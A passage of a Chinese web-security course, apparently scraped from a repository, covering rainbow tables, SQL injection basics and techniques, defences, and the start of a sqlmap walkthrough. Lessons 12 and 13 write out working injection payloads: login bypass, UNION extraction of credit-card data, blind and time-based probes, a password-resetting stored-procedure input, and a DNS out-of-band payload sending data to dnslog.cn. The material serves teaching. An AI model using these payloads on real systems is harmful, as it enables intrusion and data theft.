考虑到数据长度大幅增加,攻击者直接使用彩虹表攻击难度非常高。如果想要成功攻击散列值,攻击者则需要了解加盐的逻辑,并且以此逻辑重新生成彩虹表。即便如此,因为每个用户的加盐都是不一样的,攻击复杂度也只能针对单一密码降低,攻击者仍然无法使用彩虹表实现批量攻击,从结果上看,这将大大提高密码存储的安全性。
总结
回顾一下,这节课我们认识了一种系统开发中的调味品——“盐“。
首先我们对“盐“是什么有了一个形象的认知与做菜相似系统中通过使用“盐“salt来混淆输入。而关于盐的使用又不得不提HASH函数。作为一种特殊的密码学算法HASH函数具备计算不可逆、数据长度压缩、难以伪造等特性这些优秀的特性给它带来了非常多的应用场景比如数据传递过程中的完整性校验、数据压缩与摘要、数据纠错与散列表等等。
正如人们由于烧菜时味道不够而生产了盐在系统开发中由于过去存储密码的方案安全性不足因此引入了”盐“的概念。过去在系统中普遍采用经过HASH函数运算的散列值来存储用户密码这一过程面临的攻击主要包括暴力破解、字典攻击但是这两种攻击方式因为在时间和空间上的损耗过高所以难以真正实施。
彩虹表的出现打破了平静它推翻了直接将用户密码运算出HASH散列值的方案通过特殊设计的算法实现了时空平衡这让攻击HASH散列值成为可能。
于是我们进一步分析了这种设计巧妙的攻击算法,验证了它对传统密码存储方案的威胁。而且我们不甘心于纸上谈兵,通过一个实战案例成功完成了一次彩虹表攻击。掌握了这种攻击方法,你就可以将它集成到自己的个性化智能攻击系统中。
最后,我们再次站在安全开发的角度,从目前普遍接受的安全实践出发,复现了最佳实践方案。
通过这节课的学习相信你不仅掌握了HASH函数、盐、散列函数应用和安全最佳实践还丰富了自己的智能攻击系统使其功能更加强大。有了这些知识和装备的加持相信你可以在安全领域进一步探索前行发现更多二进制世界的秘密
思考
在使用HASH链进行HASH散列值破解的过程中如果原始输入与HASH链的头或者尾产生碰撞为什么是很大可能性而不是一定在该链条中存在HASH散列值的破解结果呢
欢迎在评论区留下你的思考,我们下节课再见。
相关工具:-
https://github.com/talentsec/rainbow

View File

@ -0,0 +1,209 @@
因收到Google相关通知网站将会择期关闭。相关通知内容
12 注入SQL注入起手式
你好,我是王昊天。
从这节课开始,我们就进入了排名第三的风险种类——注入。
这是在上一份OWASP TOP 10榜单中排名第一的风险种类同时也是在过去十年中最具威慑力的漏洞类型之一关于这类安全风险出现了许多重大的漏洞同时也有众多著名的安全工具致力于解决这类问题其中最著名的安全工具之一就是sqlmap作为SQL注入领域优秀的自动化检测工具我们也会在之后的课程中深入探究。
那么什么是注入呢?
在著名的西游世界,就有许多次战斗生动地诠释了注入的威力,而这位善用注入的战斗大师就是我们勇敢机智的齐天大圣——孙悟空。在《西游记》中,孙悟空一共六次通过钻入敌人肚子的方式取得战斗的胜利。
注入
孙悟空的行为堪称注入攻击的典范,那么安全领域的注入攻击又是什么呢?
从抽象定义来说,注入攻击的本质是数据段与指令段的混淆,攻击者在原本应该作为数据段的输入中插入了恶意指令,同时将该恶意指令作为代码执行。正如孙悟空的战斗一般,妖怪肚子原本是消化食物用的,但却让孙悟空潜入其中,并且大显神威。
事实上注入包含很多种类型比如SQL注入、命令注入、XSS、资源注入等其中SQL注入是最具代表性也是极为危险的一类漏洞这一讲我们就从SQL注入入手来展开探讨。
查询过程与SQL注入
提到注入,就不得不提到查询过程。
以最常见的SQL注入为例这类安全风险就是将不可信的用户输入与SQL查询语句拼接产生的。事实上SQL注入是Web安全领域最危险的漏洞种类之一一方面SQL注入漏洞的利用过程比较简单另一方面SQL注入漏洞可能导致数据库失窃、数据被篡改及清除等安全风险。在更严重的情况下SQL注入可以通过应用程序传递恶意命令控制托管数据库的操作系统并以此为跳点成功进入内网。
SQL注入的危害
接下来我们来看一看SQL注入会产生哪些危害。
首先SQL注入可能会导致数据的泄露。我们以一个电商系统为例看看这个过程是怎么发生的。
在一个电商系统中我们都会有一个个人信息页面用于编辑、展示和存储我们的相关信息通常的URL地址如下
https://example.com/user_info?username=talentsec
在这种场景下我们可以选择使用这种SQL语句来实现相应功能
SELECT * FROM users WHERE username = 'talentsec';
这里我们可以展开做一下思考如果SQL语句变为如下格式是否随着id的数值变化可以取得不同的数据呢很明显是可以的。
SELECT * FROM users WHERE username = 'talentsec' or id = '1';
我们只需要尝试去修改username参数将其设置为talentsec' or id = '1即可实现上述攻击过程。-
进一步地设想一种更复杂的场景在这种场景下SQL语句不只有一个条件除了用户名还增加了账户活跃这一条件。
SELECT * FROM users WHERE username = 'talentsec' and account_status = 'alive';
因为SQL语句变得更加复杂了如果我们还用之前的方式攻击就会破坏语句完整性导致攻击无法顺利进行
SELECT * FROM users WHERE username = 'talentsec' or id = '1' and account_status = 'alive';
为了保证SQL语句的完整性我们可以通过增加--注释符让SQL语句重新恢复为合法格式保证攻击能够顺利执行。调整后username参数被设置为talentsec' or id = '1' ; -- and account_status = 'alive。 最终目的语句构造如下:
SELECT * FROM users WHERE username = 'talentsec' or id = '1' ; -- and account_status = 'alive';
可以发现由于SQL注入漏洞的存在攻击者可以通过调整参数内容获取到本不应该访问到的数据这就会造成业务系统关键数据的泄露。
除了会造成数据泄露外SQL注入漏洞还可能修改程序的执行逻辑。
这个过程我们将在登录场景下复现。正常的Web应用系统都会具备登录功能通过将用户输入的用户名及密码传入后端程序可以在后端匹配账户信息来验证正确性其中一种SQL语句实现方式如下
SELECT * FROM users WHERE username = 'talentsec' and password = 'TALENTSEC';
如果该查询能够返回结果则说明登录成功否则说明登录失败。一名恶意的攻击者可以构造如下SQL语句使其绕过登录限制也就是说攻击者可以在仅知道用户名的情况下成功完成登录
SELECT * FROM users WHERE username = 'talentsec';--' and password = 'test';
可以看到在这次攻击中攻击者所使用的用户名是talentsec';--密码是test。虽然真实密码并不是test但攻击者却成功登录了talentsec账户。
SQL注入的危害是巨大的其攻击过程也较为复杂接下来我们就来进一步探讨如何发现以及实施SQL注入攻击。
SQL注入实战技法
漏洞发现
知道吗对于SQL注入漏洞来说最难的一点其实是发现漏洞而非利用漏洞。因为正如我们前面讨论的SQL注入漏洞的利用过程相对简单只要能够发现漏洞利用不是问题。
为了更准确地发现SQL注入漏洞我们需要了解应用程序在什么时候会与数据库通信。这里我给你提供两点参考。
你首先需要关注的是通过表单提交认证的过程。这一过程会将用户输入的凭据发送到应用程序后端并与数据库中存储的凭据进行比对。另外一些管理后台和CMS系统通过用户传入的参数针对性查询数据的时候也需要我们特别关注。
一名优秀的攻击者需要对应用系统的接口参数有全面的了解这些参数包括POST请求中隐藏的字段也包括HTTP Header和Cookie。接下来攻击者需要对每个参数进行针对性的攻击尝试并观测系统结果。通常最初的攻击尝试由'和;组成这两个字符分别用于闭合字符串以及SQL查询语句。如果存在SQL注入漏洞这两个字符的输入很有可能会触发系统报错。除此以外一些注释符--和/**/等以及SQL关键字AND和OR等同样也可以被用来检测SQL注入漏洞点。
值得一提的是虽然我们常常通过观测系统报错的方法来判断SQL注入漏洞点但是并非所有SQL注入漏洞都会触发显性的系统报错。许多时候我们也会遇见500 Server Error或者系统的自定义报错界面这时我们就需要考虑使用盲注或是其他攻击方式。
SQL注入漏洞作为一个漏洞大类利用方式是比较多的这使得它看起来有些复杂。但是这类漏洞的利用过程见得多了就会发现它们其实有相似的套路借用《卖油翁》中的话说就是“无他唯手熟尔”。
我们仍以经典的SQL查询语句为例
SELECT * FROM users WHERE username='$username' AND password='$password';
我们对username和password构造一种特殊的输入
$username = 1' or '1' = '1
$password = 1' or '1' = '1
代入参数后SQL查询语句变成
SELECT * FROM users WHERE username='1' or '1' = '1' AND password='1' or '1' = '1';
可以发现在上述SQL语句中不管or和AND操作符谁的优先级高WHERE语句的条件都是永远为真的因此我们可以通过这个操作实现认证过程的绕过。
接下来我们对原始SQL语句进行一次升级这种升级后的语句也是非常常见的
SELECT count(*) FROM users WHERE ((username='$username') AND (password=MD5('$password')));
可以看到这次升级一方面在username部分新增了括号另一方面在处理password时选择了MD5散列结果进行比较最后又统计了查询结果的数量经过升级之后上一次的构造就无法生效了。
这时如果我们想要构造新的参数完成SQL注入就要解决三个问题第一是括号的闭合第二是password部分的比对第三是要确保查询数量为1。于是我们构造如下输入
$username = 1' or '1' = '1')) LIMIT 1 --
$password = test
将参数代入后查询语句变成:
SELECT count(*) FROM users WHERE ((username='1' or '1' = '1')) LIMIT 1 --') AND (password=MD5('$password')));
可以发现上述SQL语句实现了括号的闭合、忽略了password判断部分并且限制结果数量为1这段语句同时满足了3个限制条件成功实现了SQL注入攻击。
在基本起手式阶段,除了这种使用'来进行注入探测的方式以外我们还可以使用AND符号来判断参数是否可以被当做运算符参与代码执行。以常见的CMS类型系统为例常见的帖子链接如下
https://example.com/article.php?id=1
在已知【id=1帖子】存在的情况下我们可以将id参数设置为1 AND 1=0并且和SQL语句完成拼接
SELECT * from articles WHERE article_id = 1 AND 1=0;
如果该页面无法显示内容就说明1 AND 1=0中后半部分的False结果参与了运算依此可以判断SQL注入漏洞的存在。
数据库信息
通过起手式阶段的基本动作我们可以发现SQL注入漏洞是否存在。
在成功发现SQL注入漏洞之后为了给后续更高级的注入动作做好铺垫我们需要进入一个新的阶段获取数据库信息。而之所以展开讲述这部分的主要原因是虽然SQL语句是相对标准化的但是每种DBMS在特殊指令、获取数据操作等方面都会有一些差异因此在实际SQL注入过程中我们需要考虑到数据库差异使用不同的语法。
如果我们想要判断一个后端数据库的类型让这个数据库报错是一个快速的方法。这里我们列举几种常见的错误信息可以发现MySQL、MS SQL Server、PostgreSQL的报错信息都有比较明显的特征
You have an error in your SQL syntax; check the manual
that corresponds to your MySQL server version ...
Microsoft SQL Native Client error ...
Query failed: ERROR: syntax error at or near ...
事实上对于不同类型的数据库获取其数据库种类和版本号的SQL语句也会有一些差异
SELECT @@version; -- Microsoft, MySQL
SELECT * FROM v$version; -- Oracle
SELECT version(); -- PostgreSQL
除了数据库类型和版本信息还有哪些信息是攻击者想知道的呢我们只要想想后面注入过程需要哪些信息答案就不辩自明了其实就是数据库中包含的表和每张表的结构信息。令人欣慰的是数据库中有一张表存储了这些信息这张表是information_schema。通过如下SQL语句可以查询出数据库中有哪些表以及每张表的结构
SELECT * FROM information_schema.tables;
SELECT * FROM information_schema.columns WHERE table_name = 'users';
SELECT * FROM all_tables; -- For Oracle
SELECT * FROM all_tab_columns WHERE table_name = 'USERS'; -- For Oracle
总结
这节课我们进入了第三大风险种类——注入。
作为上一份榜单中排名第一的安全风险其威力不可小觑。在Web业务系统中注入普遍以SQL注入形式存在而SQL注入又与查询过程密不可分。通过利用SQL注入漏洞不仅可以造成数据泄露、数据删除等后果甚至可能使数据库服务器执行任意命令进而导致整个内网的沦陷。
从技术角度来看SQL注入的影响主要是两个方面一方面是影响数据查询逻辑使得攻击者能够越权访问数据库数据另一方面是通过篡改数据查询逻辑进而修改SQL语句执行过程。
事实上SQL注入漏洞虽然威力巨大而且利用过程相对复杂但是难度并不高。其难点主要在于如何发现SQL注入点以及如何找到正确的利用方式。
关于如何发现SQL注入点我向你介绍了一种有效的方法那就是在了解应用系统的完整接口以及接收的参数清单后有针对性地逐一进行注入点排查。比较经典的注入点验证方案有'和;以及AND和OR等 。
在确定正确的利用方式上SQL注入虽然招式繁多但是却有着完整的体系和套路熟练掌握之后完全可以“一招鲜吃遍天”。起手式阶段最主要的组合拳就是AND和OR、'和-- 第一招打完之后为了给高级招式做铺垫我们要学习下一招知己知彼通过利用information_schema获取数据库中包含的表以及对应的表结构。
截止到目前你已经掌握了初级SQL注入功力能够在简单的场景下完成SQL注入攻击同时掌握数据库的结构。下节课我们一起来学习高级招式包括UNION注入、BOOLEAN注入、时间盲注、DNS带外注入等多种攻击变种。
思考
你可以尝试使用MiTuan 靶场中的Sqlilabs完成基本的起手式和知己知彼这两招吗
期待你的动手实践,也欢迎你把这节课分享给有需要的朋友,我们下节课再见!

View File

@ -0,0 +1,283 @@
因收到Google相关通知网站将会择期关闭。相关通知内容
13 注入SQL注入技战法及相关安全实践
你好,我是王昊天。
上节课我们学习了SQL注入的基本原理和基础动作但想要完成SQL注入攻击仅凭借基础知识是不够的。这节课我们就来深入分析不同场景下的SQL注入来了解这些场景下都有哪些攻击方式。
事实上即使同为SQL注入漏洞由于攻击过程中可利用的条件和限制不同所能够采取的攻击方式也是有差异的。比如在篮球比赛中同样是上篮由于防守队员的不同甚至是防守人数的不同都会有不同的动作。
注入技巧
联合注入UNION注入
当SELECT语句中存在可以使用的SQL注入漏洞时就可以用联合注入方法进行SQL注入将两个查询合并为一个结果或结果集。
联合注入是在SQL注入中加入一个新的查询在完成原始数据查询后再进行一次查询并将新的结果加入到原始查询的结果中攻击者可以通过这种方式来获得目标数据。比如如下查询语句
SELECT Name, Phone, Address FROM Users WHERE Id=$id
# http://www.example.com/product.php?id=10
这是一个简单的查询语句目标是从Users表中查询指定id值的用户的姓名、密码以及地址信息。
这里我们可以对id的值进行设置如果将id的值设为
1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable
那么整条查询语句将会变为:
SELECT Name, Phone, Address FROM Users WHERE Id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable
可以看到我们已经构造出了一个联合查询语句这里有两点需要我们特别关注。首先需要特殊说明的是语句中ALL的作用。它防止我们添加的联合查询结果和原本的结果一致导致其被过滤掉无法显示。添加ALL之后即使联合查询的结果与原本的查询一致也会返回两条一致的查询结果从而方便我们判断攻击效果。
在联合查询中另一个需要特殊说明的是占位数据。可以看到我们除了选择查询creditCardNumber还添加了两个常数1。这是因为原本查询的输出就包含三个字段它们是“Name”、“Data”以及“Age”其中“Data”以及“Age”都是常数类型的字段。在使用联合查询中我们需要保证前后查询的字段数量、数据类型对应一致上述查询过程中的1就是为了满足该需求。
可以发现,为了使用联合注入,我们需要提前知道原本查询的字段数量以及值的类型。
对于字段数量信息我们可以利用ORDER BY来进行判断例如
SELECT Name, Phone, Address FROM Users WHERE Id=1 ORDER BY 10
其中ORDER BY 10意味着将获取的数据按照第十个字段来进行排序。如果字段个数不足十个就会报错如果能正常获得输出那么就能推断出字段个数不少于十个。通过递增修改ORDER BY后的值我们就可以成功推断出字段的个数。
在联合查询中如果联合查询前后输出的字段类型不一致就会报错。我们可以利用这一点通过null来判断字段的类型例如
SELECT Name, Phone, Address FROM Users WHERE Id=1 UNION ALL SELECT 1,null,null
在上述语句中因为null可以匹配任意类型所以Phone和Address的类型匹配不会产生问题这就让我们就能专心判断第一个字段Name的类型 。如果能获得正常输出那么就表明Name字段的类型是整数。如果报错就将1改为其他类型的数据继续判断。在获取到Name的类型后我们可以重复该过程继续判断其它字段类型直到获取到所有字段的类型信息为止。
在使用联合注入时如果系统开发者用了LIMIT来限制查询结果让应用只显示第一条查询结果这就会导致即使我们成功进行了注入攻击依然只能获得原本查询的信息。这时我们可以对系统原本查询的参数赋予不存在的值使我们添加的联合查询成为唯一能够获取到结果的查询。
SELECT Name, Phone, Address FROM Users WHERE Id=99999 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable
盲注BOOLEAN注入
当应用可以受到注入攻击但是它反馈的响应内容不包含相关的SQL查询结果或者数据库报错详细信息时联合注入就会变得无效这时我们可以使用盲注。
盲注也有很多种利用方式如果应用可以根据是否查询到内容这一点进行不同的响应那我们就可以使用盲注。比如网站设计者制作了一个错误界面它不返回SQL语句的具体错误信息而是仅仅返回错误代码像是HTTP 500等类似信息。这时我们可以通过适当的推理来绕过这个阻碍最终成功获取到我们想要的数据。
在布尔注入的过程中会用到如下几个重要的处理函数:
SUBSTRING(text, start, length)
# 在“text”中从索引为“start”开始截取长度为“length”的子字符串如果“start”的索引超出了“text”的总长度那么该函数返回值为“null”。
ASCII(char)
# 获取“char”的 ASCII值如果“char”为“null”那么该函数返回值是0。
LENGTH(text)
# 获取“text”字符串的长度。
利用上述函数我们就可以实现盲注例如有一个叫Users的数据表包含字段Id,username我们可以使用盲注枚举出username的每一个字符值通过拼接得出完整的数值如下是判断username的第一个字符的ASCII值是否为97的语句:
SELECT field1, field2, field3 FROM Users WHERE Id='1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1'
如果得到了正确的回应就说明username的ASCII值为97我们通过查询ASCII表就可以获得对应的字符值之后继续判断username的后续字符。如果得到错误回应那我们可以把ASCII的值进行更换直到换为正确回应为止。
实现上面的判断需要我们能够区分正确回应和错误回应。我们可以用如下示例来获取正确回应和错误回应,通过对比将它们区分开来。
SELECT field1, field2, field3 FROM Users WHERE Id='1' OR '1' = '1'
SELECT field1, field2, field3 FROM Users WHERE Id='1' AND '1' = '2'
我们在判断username值的第N位的过程中如果该位的ASCII值等于零那我们就需要判断是否username到了末尾这时候我们就可以运用如下代码进行判断username的长度是否为N
SELECT field1, field2, field3 FROM Users WHERE Id='1' AND LENGTH(username)=N AND '1' = '1'
如果得到正确回应就不需要继续向后判断了因为这说明我们已经获取到了正确的username如果是错误回应说明我们很有可能遇到了null字符那我们需要继续向后判断直到该查询得到正确回应为止。
报错注入
顺着刚才的例子继续往下思考,如果应用系统不会因为查询是否返回数据而进行不同的反馈,布尔注入就会失效,这时候我们要怎么办呢?这种情况下,我们可以尝试报错注入。
为了提取出一些数据库内的信息,报错注入会故意执行一些导致数据库报错的行为,并将这些信息显示在报错页面上。报错注入的函数调用与错误触发方式,与具体的数据库管理系统以及版本相关,所以在注入之前我们需要确认数据库管理系统的相关信息。例如:
http://www.example.com/product.php?id_product=10' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END)='a
http://www.example.com/product.php?id_product=10' AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE 'a' END)='a
第一个payload会运行1/0这会导致SQL产生报错。第二个payload不会运行1/0导致SQL不会产生报错我们可以分别尝试上述注入通过应用是否会产生不同的响应来做出判断。如果会产生响应那么我们就可以使用报错注入来获取到一些我们想要的信息。
下面我们一起看一个例子。
SELECT * FROM products WHERE id_product=$id_product
# http://www.example.com/product.php?id_product=10' AND (SELECT CASE WHEN (Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') THEN 1/0 ELSE 'a' END FROM Users)='a
在这个例子中我们假设Users表中有Username以及Password两个字段现在已知存在一个用户名为Administrator现在想要猜测他的密码。
这时我们可以利用上述payload判断密码首字母的ASCII码是否大于m的ASCII码。如果大于那么就会运行1/0这会引起除零错误否则就不会引起错误。类似于布尔注入的方法我们可以通过不断地尝试来获取到Password的值。
时间盲注
我们顺着报错注入的例子,继续深入思考。如果应用系统具备很好的错误处理逻辑,这样在响应请求时不会产生异常,报错注入就会失效。这种情况,我们可以尝试时间盲注(又称为时延注入)。
这种攻击方案的底层逻辑是,攻击者通过控制注入的参数,能够获得服务器的响应延时控制权。这种注入方式与数据管理系统相关,具体实施需要确认数据管理系统的信息。如下为一个时间盲注示例:
SELECT * FROM products WHERE id_product=$id_product
# http://www.example.com/product.php?id_product=10 AND IF(version() like 5%, sleep(10), false))--
在这个例子中攻击者先检查MySQL的版本是否为5如果判断为真则让服务器延时十秒返回结果。
DNS带外注入
在盲注的情况下假设应用程序是异步执行的也就是说应用程序需要在原始线程处理用户的请求并同时在另一个线程使用跟踪cookie执行SQL查询这样我们刚才提到的注入方法都会失效。这时如果我们想要成功进行注入可以尝试使用DNS带外注入。
在了解DNS带外注入前我们需要一点点前置知识就是泛域名解析。那么什么是泛域名解析呢其实很简单就是*.的所有域名解析到同一IP举个例子talentsec.cn指向了一个IP在使用了泛域名解析技术的情况下test.talentsec.cn也会指向同一个IP地址。
DNS带外注入是使用不同通道检索数据的技术例如建立 HTTP 连接将结果发送到 Web 服务器等。这个方法使用DBMS的功能执行带外连接并将注入查询的结果作为请求的一部分传递给攻击者。和报错注入类似每个数据库管理系统有自己独有的功能函数我们需要确认数据库管理系统的信息。下面就是一个DNS带外注入的示例
SELECT * FROM products WHERE id_product=$id_product
#http://www.example.com/product.php?id_product=10 and load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema='security' limit 0,1),".afl3zg.dnslog.cn\\aa.txt")) --+
该payload使用了loadfile函数该函数在这里可以通过UNC路径读取远程机器上的文件。它的参数是用concat函数拼接起来的UNC路径由于\代表了转义的意思,所以实际拼接为\\{query_result}.af13zg.dnslog.cn\aa.txt其中{query_result}为查询的结果根据泛域名解析原理该请求会被afl3zg.dnslog.cn记录下来。afl3zg.dnslog.cn是在DNSLog Platform上面生成的一个域名我们可以借助它来观察到外带的结果。域名生成之后点击刷新记录就可以显示出它接收到的访问信息其中就包括了我们的查询结果。
存储过程注入
在存储过程中如果应用系统使用和用户交互式的SQL输入程序就必须考虑注入风险。开发人员需要严格判断用户输入的合法性以消除代码注入的风险。如果风险不清理存储过程就可能会被用户输入的恶意代码污染。
下面这段代码,是存储过程注入示例:
Create
procedure get_report @columnamelist varchar(7900)
As
Declare @sqlstring varchar(8000)
Set @sqlstring = 'Select * ' + @columnamelist + ' from ReportTable'
exec(@sqlstring)
Go
如果用户输入:
from users; update users set password = password; select *
上述代码会把用户的输入赋值给@sqlstring在之后的存储过程中执行导致所有用户的密码更改为password。
如何防御
虽然SQL注入攻击方式多变但是在防御角度确有一种“以不变应万变”的防御方案。
使用参数化查询预编译代替字符串连接查询可以避免绝大多数的SQL注入类安全风险。这种方法的实现原理其实很简单采用参数化查询的SQL语句会预先编译好SQL引擎会预先进行语法分析、产生语法树以及生成执行计划经过这些预处理后面无论输入什么都只会被当作字符串字面值参数并不会影响SQL的语法结构因此是一种优秀的SQL注入防御方案。
比如以下代码采用了字符串拼接查询因此很容易受到SQL注入攻击
String query = "SELECT account_balance FROM user_data WHERE user_name = " + request.getParameter("customerName");
try {
Statement statement = connection.createStatement( ... );
ResultSet results = statement.executeQuery( query );
}
通过如下参数化查询的优化方案,该代码就可以有效避免用户输入干扰查询结构:
String custname = request.getParameter("customerName");
String query = "SELECT account_balance FROM user_data WHERE user_name = ?";
PreparedStatement pstmt = connection.prepareStatement( query );
pstmt.setString(1, custname);
ResultSet results = pstmt.executeQuery();
存储过程中也存在SQL注入的安全问题我们可以在存储过程中用标准存储过程编程构造。它的效果类似于参数化查询它要求开发人员只构建带有自动参数化参数的SQL语句。存储过程的SQL代码是在数据库本身定义和存储的然后在应用程序中调用。
// This should REALLY be validated
String custname = request.getParameter("customerName");
try {
CallableStatement cs = connection.prepareCall("{call sp_getAccountBalance(?)}");
cs.setString(1, custname);
ResultSet results = cs.executeQuery();
// … result set handling
} catch (SQLException se) {
// … logging and error handling
}
参数化查询虽然是一个非常优秀的SQL注入防御方案但也并非是一个万全之策。当不信任的输入作为数值出现在查询语句中这时比较适合用参数化查询来处理比如WHERE语句以及INSERT或者UPDATE语句中出现的值。但是当不信任的输入出现在查询语句其他位置这种方法就不再适用了例如表名、字段名或者ORDER BY语句中。
想要把不受信任的数据放入这些位置,需要采用不同的方法来避免注入攻击。例如,将允许的输入值列入白名单中,或者使用更安全的逻辑来实现我们的需求。使用白名单列表的输入验证,也是一个可行且优雅的防御方案。
如果在SQL查询中使用了绑定变量比如表或列的名称以及排序、顺序指示符ASC或DESC此时输入验证是最合适的防御方案。需要注意的是通常表或列的名称应该来自代码而不是用户但是如果用户参数值被用于指明不同的表名和列名那么参数值应该映射到合法或是预期的表名或列名以确保用户的输入在经过验证之后才会出现在查询中。下面是一个数据表名验证的示例。
String tableName;
switch(PARAM):
case "Value1": tableName = "fooTable";
break;
case "Value2": tableName = "barTable";
break;
// ...
default : throw new InputValidationException("unexpected value provided for table name");
示例中的tableName可以直接加到SQL查询中因为它现在是这个查询中表名的合法预期值之一。
当上述方法都不可行时我们还可以将用户输入放入查询之前对其进行转义。但是此技术只应作为最后的手段使用一般只建议在实现输入验证不符合成本效益时考虑使用。因为与其他防御相比这种方法很脆弱我们并不能保证它会在所有情况下成功阻止SQL 注入。
转义技术是这样工作的每个DBMS都支持一种或多种针对特定查询类型的字符转义方案如果从正在使用的数据库的转义方案出发转义所有用户提供的输入那么DBMS就不会将该输入与开发人员编写的SQL代码混淆从而避免SQL注入漏洞的发生。下面我们来看一个转义的例子。
#ESAPI数据库编解码器非常简单,对于Oracle的使用示例为
#ESAPI.encoder().encodeForSQL( new OracleCodec(), queryparam );
#下面是一个Oracle的动态查询代码
String query = "SELECT user_id FROM user_data WHERE user_name = '"
+ req.getParameter("userID")
+ "' and user_password = '" + req.getParameter("pwd") +"'";
try {
Statement statement = connection.createStatement( … );
ResultSet results = statement.executeQuery( query );
}
#使用转义会使得这段代码可以抵御SQL注入
Codec ORACLE_CODEC = new OracleCodec();
String query = "SELECT user_id FROM user_data WHERE user_name = '"
+ ESAPI.encoder().encodeForSQL( ORACLE_CODEC, req.getParameter("userID"))
+ "' and user_password = '"
+ ESAPI.encoder().encodeForSQL( ORACLE_CODEC, req.getParameter("pwd")) +"'";
总结
这节课我们重点学习了SQL注入的利用方式和技巧。
首先是联合注入UNION这是一种非常强大并且易于使用的注入技巧通过使用ORDER BY以及null技巧强大的联合查询能够直接帮助攻击者获得大量数据接下来是盲注BOOLEAN注入当应用系统存在SQL注入漏洞但却没有直接数据回显时盲注成为联合注入的接力棒盲注又分为多种类型虽然应用系统不能够直接回显数据查询结果但如果查询结果能够影响响应页面我们就可以通过盲注来猜测数据内容。
更进一步地如果查询结果完全不能影响响应页面这时又会出现三种新的可选攻击技巧。其中报错注入适用于没有标准化处理SQL查询错误的应用系统而时间盲注则适用于上述所有限制条件全部存在的情况因此时间盲注具备很强的适应性虽然好处十分明显缺陷也是十分明显时间盲注需要大量的时间消耗才能完成完整攻击过程DNS带外注入则是时间盲注的优化版它不需要大量的时间消耗通过SQL命令执行和网络信息传递就可以将数据直接携带到外部监听端达到快速获取受限环境数据的效果。
最后一部分是存储过程注入上述SQL注入影响的都是应用系统层而存储过程注入则直接影响数据库层由于存储过程引入了字符串拼接导致SQL注入问题被引入其漏洞原理和利用方式都与常规的应用系统层SQL注入相似。
学习了SQL注入攻击技巧再看如何进行防御。
最主流也是最好用的方案是参数化查询又称预编译。通过预先的语法分析、产生语法树以及生成执行计划未来所有参数输入都将被作为参数引入无法修改SQL语句结构因此能够极大程度地防御SQL注入攻击。但是这样优秀的解决方案也有其不足之处它只适用于将用户输入代入参数值的情况如果希望将用户参数代入表名、字段名等情况就需要使用其他方案。
对于上述需求场景白名单列表是一个很好且很安全的方案但是局限性也较大。如果白名单也无法满足你的个性化需求那么就使用转义方案吧但是值得注意的是转义方案与其他方案相比具有很大脆弱性并不能保证在所有情况下都抵御SQL注入攻击。
回顾一下这节课我们一共学习了六种常见的SQL注入方式并分别列举了典型的注入示例帮助大家加深理解。然后站在安全防御者视角我们如何对不同类型注入点进行严格限制分别介绍了将用户直接输入的查询改为参数化的查询的预编译方案、方便灵活使用的白名单方案以及最大满足个性化需求的转义方案。
通过学习本节课程相信你已经掌握了SQL注入的多种攻击技巧以及防御技巧希望能够帮助你在构建应用系统过程中更好地防御SQL注入攻击。
思考
课程最后给你留一个作业你可以尝试使用本节课程讲述的SQL攻击方式完成MiTuan的【专项 · SQL注入】训练吗
欢迎在评论区留下你的思考,我们下节课再见。

View File

@ -0,0 +1,686 @@
因收到Google相关通知网站将会择期关闭。相关通知内容
14 自动化注入神器sqlmap的设计思路解析
你好,我是王昊天。
从古至今,人们为了方便自己的生活,发明出各种各样的工具。就拿扫地来说,这是我小时候最讨厌的家务活动,因为扫地时扬起的灰尘会让我十分难受,而且有的死角很难被打扫干净。扫地机器人的出现给我们带来了极大的便利,我们只要拥有它,就不需要再亲自扫地了。
在前几节课中我们学习了SQL注入的原理和方法相信你已经小试牛刀了。不知道你在做注入测试的时候是否会觉得困难呢反正我学的时候是遇到了不少困难比如绕过技巧多种多样我们几乎不可能全部记住它们就算记住了我们一一去尝试也需要很多的时间费时又伤神。
就像我们刚才说过的当问题出现时我们常常会创造出一种工具来解决对应的问题。那么有没有一款工具能帮我们自动去进行注入测试呢答案是肯定的这个工具就是sqlmap。
这节课呢我们正式开启sqlmap学习之旅深入探究这款自动化注入神器的实现原理。首先我们要对一些知识有所了解包括如何获取软件的代码如何搭建软件的运行环境以及软件文件功能等。接下来我们会对sqlmap的工作流程做一个整体的介绍这会为我们后续学习sqlmap打好基础。
sqlmap
我们先来看看到底什么是sqlmap。
sqlmap是一个帮助我们自动检测sql注入是否存在的测试工具它会使用不同注入方法进行测试并将测试结果展示给我们供我们利用。这些方法都是我们之前学过的内容包括联合注入、时延注入、布尔盲注、报错注入和堆查询注入。如果你感兴趣可以去上节课寻找更加详细的介绍。
因为它的持续更新和维护所以大家普遍认为它既方便又好用从图片中我们可以看到超过4k的fork数量以及高频的源码更新。就像一枚硬币的两面这种优势也会伴随一些问题比如给我们阅读源代码增加了难度而我们要想真正去理解、掌握这款工具就必须要迎难而上对它的源代码进行剖析。
代码获取
我们用如下命令将sqlmap的源代码克隆下来。
git clone https://github.com/sqlmapproject/sqlmap
cd sqlmap
因为该过程需要访问外网,所以克隆的速度会较为缓慢,当然我们可以借助一些代理工具来加速这个过程。
这里我们分析的sqlmap版本是最新的版本1.6它于2022年初发布相比于上一代1.5.12版本,只是修复了几个编码异常,并且替换版本信息,并没有什么重大的改动。因此学习两个大版本的代码都是可以的。
在获取到源代码之后我们还需要配置软件的运行环境这样sqlmap才能顺利的运行。下面让我们进入到环境搭建这一步骤。
环境搭建
这节课我们采用的分析环境是python3.10.1可以利用下面的命令新建一个虚拟的解释环境这样做有利于运行环境的隔离防止其他环境因素干扰sqlmap的执行过程。
python3 -m venv venv
配置文件
在做完环境搭建之后sqlmap已经具有运行能力了。但是我们还需要知道哪个文件才是它的配置文件即哪个文件会对它的运行产生影响。所以呢接下来我们就来看看sqlmap中有哪些重要的文件它们又有哪些功能。
首先我们一起看下sqlmap的配置文件sqlmap.conf
# At least one of these options has to be specified to set the source to
# get target URLs from.
[Target]
# Target URL.
